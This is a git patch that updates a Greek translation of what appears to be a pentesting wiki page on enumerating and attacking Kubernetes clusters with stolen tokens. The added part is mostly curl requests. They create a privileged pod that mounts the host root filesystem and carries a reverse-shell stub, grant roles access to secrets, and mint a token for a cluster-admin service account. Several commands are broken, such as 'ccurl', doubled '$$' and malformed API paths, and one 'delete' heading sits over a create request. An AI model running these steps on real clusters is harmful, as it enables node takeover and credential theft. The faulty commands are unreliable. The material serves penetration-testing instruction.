From b74710cbb97617f7da2f29e49cc3bc73f4916621 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 09:51:58 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera --- src/SUMMARY.md | 14 +- .../kubernetes-enumeration.md | 244 ++++++++++++++++-- 2 files changed, 234 insertions(+), 24 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 7ab73713c..6172b28d3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -451,8 +451,8 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -462,16 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) - - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index f56519a27..fca9b3660 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,7 +4,7 @@ ## Kubernetes Tokens -Αν έχετε παραβιάσει την πρόσβαση σε μια μηχανή, ο χρήστης μπορεί να έχει πρόσβαση σε κάποια πλατφόρμα Kubernetes. Το token βρίσκεται συνήθως σε ένα αρχείο που υποδεικνύεται από την **env var `KUBECONFIG`** ή **μέσα στο `~/.kube`**. +Αν έχετε παραβιάσει την πρόσβαση σε μια μηχανή, ο χρήστης μπορεί να έχει πρόσβαση σε κάποια πλατφόρμα Kubernetes. Το token βρίσκεται συνήθως σε ένα αρχείο που υποδεικνύεται από τη **μεταβλητή περιβάλλοντος `KUBECONFIG`** ή **μέσα στο `~/.kube`**. Σε αυτόν τον φάκελο μπορεί να βρείτε αρχεία ρυθμίσεων με **tokens και ρυθμίσεις για σύνδεση με τον API server**. Σε αυτόν τον φάκελο μπορείτε επίσης να βρείτε έναν φάκελο cache με πληροφορίες που έχουν ανακτηθεί προηγουμένως. @@ -14,9 +14,9 @@ Πριν συνεχίσετε, αν δεν ξέρετε τι είναι μια υπηρεσία στο Kubernetes, θα σας πρότεινα να **ακολουθήσετε αυτόν τον σύνδεσμο και να διαβάσετε τουλάχιστον τις πληροφορίες σχετικά με την αρχιτεκτονική του Kubernetes.** -Παρατίθεται από την [τεκμηρίωση του Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): +Λαμβάνεται από την [τεκμηρίωση του Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): -_“Όταν δημιουργείτε ένα pod, αν δεν καθορίσετε μια υπηρεσία, αυτόματα ανατίθεται η_ default _υπηρεσία στην ίδια namespace.”_ +_“Όταν δημιουργείτε ένα pod, αν δεν καθορίσετε μια υπηρεσία, ανατίθεται αυτόματα η_ default _υπηρεσία στην ίδια namespace.”_ **ServiceAccount** είναι ένα αντικείμενο που διαχειρίζεται το Kubernetes και χρησιμοποιείται για να παρέχει μια ταυτότητα για τις διαδικασίες που εκτελούνται σε ένα pod.\ Κάθε service account έχει ένα μυστικό σχετικό με αυτό και αυτό το μυστικό περιέχει ένα bearer token. Αυτό είναι ένα JSON Web Token (JWT), μια μέθοδος για την ασφαλή αναπαράσταση αξιώσεων μεταξύ δύο μερών. @@ -66,13 +66,13 @@ _**Hot pods είναι**_ pods που περιέχουν ένα προνομια - Η **διεύθυνση (**_**https://host:port**_**) του Kubernetes API**. Αυτό μπορεί συνήθως να βρεθεί στις μεταβλητές περιβάλλοντος και/ή στο αρχείο kube config. - **Προαιρετικό**: Το **ca.crt για να επαληθεύσετε τον API server**. Αυτό μπορεί να βρεθεί στα ίδια μέρη όπου μπορεί να βρεθεί το token. Αυτό είναι χρήσιμο για να επαληθεύσετε το πιστοποιητικό του API server, αλλά χρησιμοποιώντας `--insecure-skip-tls-verify` με `kubectl` ή `-k` με `curl` δεν θα χρειαστείτε αυτό. -Με αυτές τις λεπτομέρειες μπορείτε να **καταγράψετε το kubernetes**. Αν ο **API** για κάποιο λόγο είναι **προσβάσιμος** μέσω του **Internet**, μπορείτε απλά να κατεβάσετε αυτές τις πληροφορίες και να καταγράψετε την πλατφόρμα από τον υπολογιστή σας. +Με αυτές τις λεπτομέρειες μπορείτε να **καταγράψετε το kubernetes**. Αν ο **API** για κάποιο λόγο είναι **προσβάσιμος** μέσω του **Internet**, μπορείτε απλά να κατεβάσετε αυτές τις πληροφορίες και να καταγράψετε την πλατφόρμα από τη μηχανή σας. Ωστόσο, συνήθως ο **API server είναι μέσα σε ένα εσωτερικό δίκτυο**, επομένως θα χρειαστεί να **δημιουργήσετε ένα τούνελ** μέσω της παραβιασμένης μηχανής για να έχετε πρόσβαση σε αυτό από τη μηχανή σας, ή μπορείτε να **ανεβάσετε το** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) δυαδικό αρχείο, ή να χρησιμοποιήσετε **`curl/wget/οτιδήποτε`** για να εκτελέσετε ωμές HTTP αιτήσεις στον API server. ### Differences between `list` and `get` verbs -Με **`get`** άδειες μπορείτε να έχετε πρόσβαση σε πληροφορίες συγκεκριμένων περιουσιακών στοιχείων (_`describe` επιλογή στο `kubectl`_) API: +Με **`get`** άδειες μπορείτε να αποκτήσετε πληροφορίες συγκεκριμένων περιουσιακών στοιχείων (_`describe` επιλογή στο `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` @@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Αν έχετε την άδεια **`watch`**, έχετε το δικαίωμα να εκτελείτε API αιτήματα για να παρακολουθείτε πόρους: +Αν έχετε την άδεια **`watch`**, επιτρέπεται να εκτελείτε API αιτήματα για να παρακολουθείτε τα περιουσιακά στοιχεία: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -94,7 +94,7 @@ GET /apis/apps/v1/watch/deployments [DEPRECATED] Ανοίγουν μια ροή σύνδεσης που σας επιστρέφει το πλήρες μανιφέστο μιας Ανάθεσης όποτε αλλάζει (ή όταν δημιουργείται μια νέα). > [!CAUTION] -> Οι παρακάτω εντολές `kubectl` υποδεικνύουν απλώς πώς να καταγράψετε τα αντικείμενα. Εάν θέλετε να αποκτήσετε πρόσβαση στα δεδομένα, πρέπει να χρησιμοποιήσετε το `describe` αντί για το `get` +> Οι παρακάτω εντολές `kubectl` υποδεικνύουν απλώς πώς να καταγράψετε τα αντικείμενα. Εάν θέλετε να αποκτήσετε πρόσβαση στα δεδομένα, πρέπει να χρησιμοποιήσετε το `describe` αντί για το `get`. ### Χρησιμοποιώντας curl @@ -109,7 +109,7 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Από προεπιλογή, το pod μπορεί να **πρόσβαση** στον **kube-api server** στο όνομα τομέα **`kubernetes.default.svc`** και μπορείτε να δείτε το kube δίκτυο στο **`/etc/resolv.config`** καθώς εδώ θα βρείτε τη διεύθυνση του DNS server του kubernetes (το ".1" της ίδιας περιοχής είναι το kube-api endpoint). +> Από προεπιλογή, το pod μπορεί να **πρόσβαση** στον **kube-api server** στο όνομα τομέα **`kubernetes.default.svc`** και μπορείτε να δείτε το kube network στο **`/etc/resolv.config`** καθώς εδώ θα βρείτε τη διεύθυνση του DNS server του kubernetes (το ".1" της ίδιας περιοχής είναι το kube-api endpoint). ### Χρησιμοποιώντας το kubectl @@ -121,7 +121,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls- ``` > αν δεν υπάρχει `https://` στη διεύθυνση URL, μπορεί να λάβετε σφάλμα όπως Bad Request. -Μπορείτε να βρείτε ένα [**επίσημο kubectl cheatsheet εδώ**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Ο στόχος των επόμενων τμημάτων είναι να παρουσιάσει με οργανωμένο τρόπο διάφορες επιλογές για να καταγράψετε και να κατανοήσετε το νέο K8s που έχετε αποκτήσει πρόσβαση. +Μπορείτε να βρείτε ένα [**επίσημο cheatsheet kubectl εδώ**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Ο στόχος των επόμενων τμημάτων είναι να παρουσιάσουν με οργανωμένο τρόπο διάφορες επιλογές για να καταγράψετε και να κατανοήσετε το νέο K8s που έχετε αποκτήσει πρόσβαση. Για να βρείτε το HTTP αίτημα που στέλνει το `kubectl`, μπορείτε να χρησιμοποιήσετε την παράμετρο `-v=8` @@ -161,7 +161,7 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Λάβετε Υποστηριζόμενους Πόρους +### Πάρτε Υποστηριζόμενους Πόρους Με αυτές τις πληροφορίες θα γνωρίζετε όλες τις υπηρεσίες που μπορείτε να καταγράψετε @@ -174,7 +174,7 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Λάβετε Τρέχουσες Δικαιοδοσίες +### Λάβετε Τρέχουσες Προνομίες {{#tabs }} {{#tab name="kubectl" }} @@ -247,7 +247,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Λάβετε μυστικά +### Πάρτε μυστικά {{#tabs }} {{#tab name="kubectl" }} @@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f ``` ### Λάβετε Λογαριασμούς Υπηρεσιών -Όπως συζητήθηκε στην αρχή αυτής της σελίδας **όταν εκτελείται ένα pod, συνήθως του ανατίθεται ένας λογαριασμός υπηρεσίας**. Επομένως, η καταγραφή των λογαριασμών υπηρεσιών, των δικαιωμάτων τους και πού εκτελούνται μπορεί να επιτρέψει σε έναν χρήστη να κλιμακώσει τα δικαιώματα. +Όπως συζητήθηκε στην αρχή αυτής της σελίδας **όταν εκτελείται ένα pod, συνήθως ανατίθεται ένας λογαριασμός υπηρεσίας σε αυτό**. Επομένως, η καταγραφή των λογαριασμών υπηρεσιών, των δικαιωμάτων τους και πού εκτελούνται μπορεί να επιτρέψει σε έναν χρήστη να κλιμακώσει τα δικαιώματα. {{#tabs }} {{#tab name="kubectl" }} @@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Λάβετε Υπηρεσίες -Kubernetes **υπηρεσίες** χρησιμοποιούνται για να **εκθέσουν μια υπηρεσία σε μια συγκεκριμένη θύρα και IP** (η οποία θα λειτουργεί ως φορτωτής ισορροπίας για τα pods που προσφέρουν πραγματικά την υπηρεσία). Αυτό είναι ενδιαφέρον για να γνωρίζετε πού μπορείτε να βρείτε άλλες υπηρεσίες για να προσπαθήσετε να επιτεθείτε. +Kubernetes **υπηρεσίες** χρησιμοποιούνται για να **εκθέσουν μια υπηρεσία σε μια συγκεκριμένη θύρα και IP** (η οποία θα λειτουργεί ως φορτωτής για τα pods που προσφέρουν πραγματικά την υπηρεσία). Αυτό είναι ενδιαφέρον για να γνωρίζετε πού μπορείτε να βρείτε άλλες υπηρεσίες για να προσπαθήσετε να επιτεθείτε. {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Λάβετε DaemonSets -**DaeamonSets** επιτρέπει να διασφαλιστεί ότι ένα **συγκεκριμένο pod εκτελείται σε όλους τους κόμβους** του cluster (ή στους επιλεγμένους). Αν διαγράψετε το DaemonSet, τα pods που διαχειρίζεται θα διαγραφούν επίσης. +**DaeamonSets** επιτρέπει να διασφαλιστεί ότι ένα **συγκεκριμένο pod εκτελείται σε όλους τους κόμβους** του cluster (ή στους επιλεγμένους). Εάν διαγράψετε το DaemonSet, τα pods που διαχειρίζεται θα διαγραφούν επίσης. {{#tabs }} {{#tab name="kubectl" }} @@ -459,9 +459,13 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## Αλληλεπίδραση με το cluster χωρίς τη χρήση του kubectl + +Δεδομένου ότι το Kubernetes control plane εκθέτει ένα REST-ful API, μπορείτε να δημιουργήσετε χειροκίνητα HTTP αιτήματα και να τα στείλετε με άλλα εργαλεία, όπως το **curl** ή το **wget**. + ### Διαφυγή από το pod -Αν μπορείτε να δημιουργήσετε νέα pods, ίσως μπορείτε να διαφύγετε από αυτά στο node. Για να το κάνετε αυτό, πρέπει να δημιουργήσετε ένα νέο pod χρησιμοποιώντας ένα αρχείο yaml, να μεταβείτε στο δημιουργηθέν pod και στη συνέχεια να chroot στο σύστημα του node. Μπορείτε να χρησιμοποιήσετε ήδη υπάρχοντα pods ως αναφορά για το αρχείο yaml, καθώς εμφανίζουν υπάρχουσες εικόνες και διαδρομές. +Εάν μπορείτε να δημιουργήσετε νέα pods, μπορεί να είστε σε θέση να διαφύγετε από αυτά στο node. Για να το κάνετε αυτό, πρέπει να δημιουργήσετε ένα νέο pod χρησιμοποιώντας ένα αρχείο yaml, να μεταβείτε στο δημιουργηθέν pod και στη συνέχεια να κάνετε chroot στο σύστημα του node. Μπορείτε να χρησιμοποιήσετε ήδη υπάρχοντα pods ως αναφορά για το αρχείο yaml, καθώς εμφανίζουν υπάρχουσες εικόνες και διαδρομές. ```bash kubectl get pod [-n ] -o yaml ``` @@ -471,7 +475,7 @@ kubectl get pod [-n ] -o yaml > > Συνήθως, οι kubernetes.io/hostname και node-role.kubernetes.io/master είναι καλές ετικέτες για επιλογή. -Στη συνέχεια, δημιουργείτε το αρχείο attack.yaml σας. +Τότε δημιουργείτε το αρχείο attack.yaml σας ```yaml apiVersion: v1 kind: Pod @@ -515,6 +519,212 @@ chroot /root /bin/bash ``` Πληροφορίες που αποκτήθηκαν από: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Δημιουργία ενός προνομιακού pod + +Το αντίστοιχο αρχείο yaml είναι ως εξής: +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: everything-allowed-exec-pod +labels: +app: pentest +spec: +hostNetwork: true +hostPID: true +hostIPC: true +containers: +- name: everything-allowed-pod +image: alpine +securityContext: +privileged: true +volumeMounts: +- mountPath: /host +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "nc -e sh" ] +#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +volumes: +- name: noderoot +hostPath: +path: / +``` +Δημιουργήστε το pod με curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 478' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Διαγραφή ενός pod + +Διαγράψτε ένα pod με curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` +### Δημιουργία Λογαριασμού Υπηρεσίας +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Length: 109' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Διαγραφή ενός Λογαριασμού Υπηρεσίας +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` +### Δημιουργία Ρόλου +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 203' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Διαγραφή ενός Ρόλου +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` +### Δημιουργία Δέσμευσης Ρόλου +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 816' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Διαγραφή ενός Role Binding +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` +### Διαγραφή ενός Μυστικού +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 219' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Διαγραφή ενός Μυστικού +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` ## Αναφορές {{#ref}}